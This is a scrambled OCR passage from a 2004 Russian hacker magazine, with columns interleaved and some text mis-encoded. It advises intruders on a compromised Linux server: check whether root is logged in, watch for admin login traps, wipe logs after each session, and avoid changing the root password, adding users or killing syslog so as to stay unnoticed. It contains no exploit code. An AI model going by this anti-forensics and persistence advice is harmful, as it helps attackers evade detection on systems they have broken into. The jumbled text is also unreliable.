удаленной уязвимости сразу же начи-

время входа, IP-адрес, с которого про-

 

 

 

 

/etc/passwd, удаляем запись пароля

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нать искать эксплоит, а, пока его еще

изошла регистрация, и номер вирту-

 

 

 

 

root, отмонтируем винт, ребутимся в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

не разработали, исследовать сервера

альной консоли, на которой работает

 

 

 

 

Linux, логинимся с пустым пассом. Та-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на предмет этой уязвимости. Конечно,

сейчас суперюзер. Кроме этого, если

 

 

 

 

ким образом, 10-минутная остановка

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

в твоем сетевом анализаторе этой уяз-

не будет подтверждена регистрация,

сервера стоит тебе бессонной ночи и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вимости еще нет, и поэтому придется

то сеанс завершится через опреде-

 

 

 

 

утраты этого сервака - при восстанов-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

поработать головой: провести полное

ленный промежуток времени! Реали-

 

 

 

 

 

 

лении пароля защита будет усилена.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сканирование хоста на предмет выяс-

зовано это с помощью следующего

 

 

 

 

 

 

Не рекомендую добавлять пользо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нения версии сервисов. При обнару-

скрипта: при входе он создает опреде-

 

 

 

 

вателей на взломанную систему.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жении бажного релиза ожидать све-

ленный файл, и, если он не будет уда-

 

 

 

 

Просто очень многие администраторы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

женького эксплоита и успевать брать

лен через некоторое время, програм-

 

 

 

 

опасаются за безопасность своего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

root-шелл. Вообще, лучше немного оп-

ма считает, что произошел взлом сер-

 

 

 

 

хоста и ставят ловушку на команду

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тимизировать процесс поддержания

вера и скидывает псевдоадмина с тер-

 

 

 

 

"adduser", которая отправляет сооб-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тебя в курсе всех изменений на securi-

минала, отправляет предупреждение

 

 

 

 

щение на почту всякий раз при созда-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ty-фронте. Есть два варианта: простой

о критической ситуации настоящему

 

 

 

 

нии аккаунта пользователя, да и это

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

- подписаться на рассылку, сложный -

администратору на мобильник. Поэто-

 

 

 

 

еще не все. Некоторые сервера имеют

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Команда

 

написать скрипт, который будет отсле-

му сразу при входе нужно вниматель-

 

 

 

 

сильную связь с остальными машина-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

живать изменения на заданных тобой

но изучить содержание домашнего

 

 

 

 

ми сети: например, хакер взломал Dial-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'who' позво-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ляет узнать

Web-ресурсах по IT-безопасности, а в

каталога и просмотреть все файлы,

 

 

 

 

in сервер провайдера, добавил своего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

âñåõ ïîëü-

случае обновления автоматически

отвечающие за регистрацию. Их име-

 

 

 

 

пользователя, прописал скрипты, вы-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зователей,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

скидывать тебе свежачок на мыло или

на зависят от оболочки-интерпретато-

 

 

 

 

держал паузу и захотел попользо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

работаю-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ùèõ ñ ñèñ-

мобильник (для этих целей можно ис-

ра. Затем - изучение лог-файлов и их

 

 

 

 

 

ваться плодами своего труда. Но не

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

темой в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пользовать готовый софт, о котором

очистка. Это первые шаги. Я не слу-

 

 

тут-то было: сервер его пускает, но

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

данный мо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ìåíò.

 

 

 

 

 

мы неоднократно писали). Атака на

чайно так подробно описал одну из

 

 

 

 

 

 

при попытке запуска сессии PPP про-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

незнание системщика гораздо слож-

ловушек администратора - атакующий

цесс умирает по тайм-ауту. Причина

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нее. Хакер должен знать Linux и его

должен быть готов ко всему и очень

 

 

 

 

проста до безобразия - машина, при-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сервисы гораздо лучше администрато-

хорошо знать атакуемую ОС. Без это-

 

 

 

 

нимающая звонки, не имела на своем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ра хоста, он должен понимать всю мо-

го любой админ сможет рано или

 

 

 

 

хосте базы пользователей! Весь бил-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Некоторые

дель взаимодействия сетевых компо-

поздно вычислить и наказать взлом-

 

 

 

 

линг был на отдельном сервере, кото-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

админы

 

 

нентов между собой и с системой. Про-

щика. При любых действиях в системе

 

 

 

 

рый и записывал в логи подозритель-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

используют

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

фессиональные хакеры работают

следует анализировать результат

 

 

 

 

ные запросы на несуществующего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

скрипт,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

которые

 

именно так: изучают ОС в совершен-

предельно внимательно.

 

 

 

 

пользователя. После нескольких та-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

при входе

стве, атакуют сервера редко, но метко.

 

Поэтому если ты создаешь рабочий

 

 

 

 

ких ошибок админ получил письмо с

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

root`a â

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

систему,

 

Успех определяется соотношением

каталог для себя, то после окончания

вырезкой лог-файла. И, как след-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

отправляет

твоих IT-знаний и IT-знаний админист-

сразу удаляй и чисти логи всех опера-

 

 

 

 

ствие, хакер лишился доступа на Dial-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сообщение

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

админу на

ратора. Собственно, больше принци-

ций. Самое главное - это научиться

 

 

 

 

in. Поэтому не повторяй чужих оши-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мобилу.

 

 

пиальных способов атаки нет. Все ос-

думать, как администратор хоста, при-

 

 

 

 

бок и никогда не добавляй пользова-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тальные варианты представляют со-

чем как грамотный администратор. Ес-

 

 

 

 

теля, не разобравшись, как устроен

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

бой модификации этих двух.

ли взломщик недооценивает против-

 

 

 

 

 

весь механизм взаимодействия сер-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ника, рано или поздно он будет пой-

 

 

 

 

 

 

веров. Не ставь руткитов, не изучив

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЧТО МОЖНО ДЕЛАТЬ

ман. Поэтому бди!

 

 

 

 

сервер полностью. Это грозит полной

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СО ВЗЛОМАННОЙ СИСТЕМОЙ

 

 

 

 

 

 

утратой аккаунта - ночные проверки

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Самое первое, что следует сде-

ЧЕГО НЕЛЬЗЯ ДЕЛАТЬ СО

 

 

 

 

 

 

безопасности, постоянные лог-анали-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лать при удачном входе, - это прове-

ВЗЛОМАННОЙ СИСТЕМОЙ

 

 

зы, сравнение хеш-функций у основ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рить, нет ли сейчас админа в системе.

 

 

 

Никогда не следует менять пароль

ных утилит гарантированно выдадут

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Таким образом, если root уже зареги-

на учетную запись root. Это самое

 

 

 

 

действия взломщика. Чтобы этого не

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

стрирован, то хакеру лучше уйти.

большое желание малограмотных

 

 

 

 

случилось, изучай систему как можно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Действовать дальше нужно только в

скрипткидисов. Думая, что, сменив

 

 

 

 

тщательней. Кроме этого, категори-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

том случае, если root на своем рабо-

рут-пароль, они заблокируют доступ к

 

 

 

 

чески запрещается убивать процессы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

серверу законного администратора,

 

 

сервера. Даже такой вредный и опас-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

они очень глубоко ошибаются. Если

 

 

 

 

ный для хакера демон, как syslog, дол-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

админ не сможет с утра войти в систе-

 

 

 

 

жен крутиться в системе, когда он

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

му - Linux не захочет опознать его па-

 

 

 

 

что-то там делает. Причина банальна -

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

роль, то возможны два варианта. Ес-

 

 

 

 

очень часто при остановке критичес-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ли опыта и знаний немного, то он пос-

 

 

 

 

ких процессов они перезапускаются,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

читает, что просто забыл ключ. Если

 

 

 

 

а, если падают и во второй раз, - отп-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Путь свободен! Только один root в системе

же админ - матерый малый, то он сра-

 

 

 

 

 

равляют сообщение админу на мо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ХАКЕРСПЕЦ 10(47) 2004